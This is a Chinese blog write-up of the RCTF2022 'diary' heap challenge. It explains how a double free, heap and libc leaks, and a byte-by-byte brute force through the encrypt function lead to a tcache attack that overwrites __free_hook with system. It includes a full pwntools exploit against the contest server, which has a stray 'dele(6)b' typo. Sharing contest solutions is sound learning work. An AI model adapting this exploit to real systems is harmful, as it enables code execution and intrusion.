RCTF2022diary


这次RCTF本来准备给校队认真打的,结果写了一题我们学校突然说放假了,我就兴奋的没怎么看了。

就看了diary和game,以为game是签到题,结果是非预期我不知道。看来linux部署这块得好好学学。

要是跟着r3打就好了,我就能把精力放在那几道堆题上了(bushi)

看了一下大战队们的wp,解法好像跟我的完全不一样(比我的简单多了),就来分享一下。

题目复现

本质是个堆题,可以add,edit,delete,有意思的事还能encrypt,decrypt,其实我都没把题目逆完。

漏洞分析

我代码也怎么仔细审,本来想fuzz的。后来自己随便试了试,在创建多个chunk后,如果我们删掉非最后一个的chunk就会导致一个double free的效果。

sla('cmd:', 'add#1#2#3#4#5#6#' + 'a'*8)
sla('cmd:', 'add#2#2#3#4#5#6#' + 'b'*8)
sla('cmd:', 'delete#0')

double free

有这个double free我们就基本上随便打了吧,因为是0x311的堆块,libc和heap地址都有了

问题是由于每个堆块前4个字节都会被置为0x20,我们tcache attack就没那么方便了。

我瞄了眼nu1l的wp里提到了什么encrypt时候的calloc啥的,这块我都没看。我的想法是:有什么方法能让前4个字节,变成我们预期打的free_hook地址?

试了下encrypt函数,可以对前四字节逐字节加密,这个加密是和一系列随机字节异或产生的。而且这个随机后的值我们也可以通过show拿到,那么我们只要逐字节不断爆破,获得预期字节,就能得到free_hook地址。 也不用把程序逆完了。

i = 0
while i!=4:
    while 1:
        encrypt(5, i)
        show(5)
        ru('6\n')
        r(i)
        cur = u8(r(1))
        if(cur==10):
            decrypt(5)
            i = 0
            for j in range(random.randint(1,10)):
                encrypt(5,0)
            print('another try')
            continue
        if(cur==bruce_byte[i]):
            print('succuss brute',i)
            #gdb.attach(io)
            i+=1
            break

wp

from pwn import *
import random
#context.log_level = 'debug'
context.arch = 'amd64'


ru         = lambda a:     io.readuntil(a)
r         = lambda n:        io.read(n)
sla     = lambda a,b:     io.sendlineafter(a,b)
sa         = lambda a,b:     io.sendafter(a,b)
sl        = lambda a:     io.sendline(a)
s         = lambda a:     io.send(a)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

#io = process('./pwn')
io = remote('119.13.105.35', 10111)
#elf = ELF('./pwn')
#libc = ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
libc = ELF('./libc-2.31.so')

def add(idx, content):
    sa('cmd:','add#' + str(idx) + '#2#3#4#5#6#')
    sl(content)

def edit(idx, content):
    sa('cmd:','update#' + str(idx) + '#')
    sl(content)

def show(idx):
    sla('cmd:', 'show#' + str(idx))

def dele(idx):
    sla('cmd:', 'delete#' + str(idx))

def encrypt(idx, offset):
    sla('cmd:', 'encrypt#' + str(idx) + '#' + str(offset) + '#1')

def decrypt(idx):
    sla('cmd:', 'decrypt#' + str(idx))

# leak heap
add(1, '1'*8)
add(2, '2'*8)
dele(0)

add(3, '3'*8)
add(4, '4'*8)
add(5, '5'*8)
add(6, '6'*8)
dele(4)
dele(2)
show(2)

ru('6\n')
leak_heap = u64(r(6).ljust(8,b'\0'))
lg('leak_heap', leak_heap)

# leak libc
for i in range(8):
    add(16+i, str(i)*8)

for i in range(8):
    dele(10-i)

dele(1)
show(1)
ru('6\n')
leak_libc = u64(r(6).ljust(8,b'\0'))
lg('leak_libc', leak_libc)
libc_base = leak_libc - (0x7f17465e4be0 - 0x7f17463f8000)
lg('leak_base', libc_base)

#gdb.attach(io)
# tcache attack
for i in range(8):
    add(32+i, str(i)*8)

dele(8)
dele(8)
dele(7)
dele(2)
target = libc_base + (0x7fc9ae630e48 -0x7fc9ae442000)  -4
#gdb.attach(io)
edit(5, p64(target >> 32) + b'a'*0x300)

bruce_byte = []
bruce_byte.append(target & 0xff)
bruce_byte.append((target >> 8) & 0xff)
bruce_byte.append((target >> 16) & 0xff)
bruce_byte.append((target >> 24) & 0xff)
print(bruce_byte)
lg('target', target)
#pause()
#gdb.attach(io, 'b*$rebase(0x30d5)')

i = 0
while i!=4:
    while 1:
        encrypt(5, i)
        show(5)
        ru('6\n')
        r(i)
        cur = u8(r(1))
        if(cur==10):
            decrypt(5)
            i = 0
            for j in range(random.randint(1,10)):
                encrypt(5,0)
            print('another try')
            continue
        if(cur==bruce_byte[i]):
            print('succuss brute',i)
            #gdb.attach(io)
            i+=1
            break

print('succuss rute')
add(40, b'/bin/sh')
add(41, p64(libc_base + libc.sym['system']))

dele(6)
dele(6)b
dele(4)

#gdb.attach(io)
io.interactive()

比赛总结

其实这题我纯纯瞎猫碰死耗子写的,题目也没审完。好久没认真打ctf感觉自己专注度,体力啥的下降很大,学校一堆屁事牵扯了很多精力,原来跟着r3打也都是别人找完洞自己偷鸡写个脚本。从今天开始要痛定思痛,加强时间管理,不能摆下去了。


文章作者: N1co5in3
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 N1co5in3 !
  目录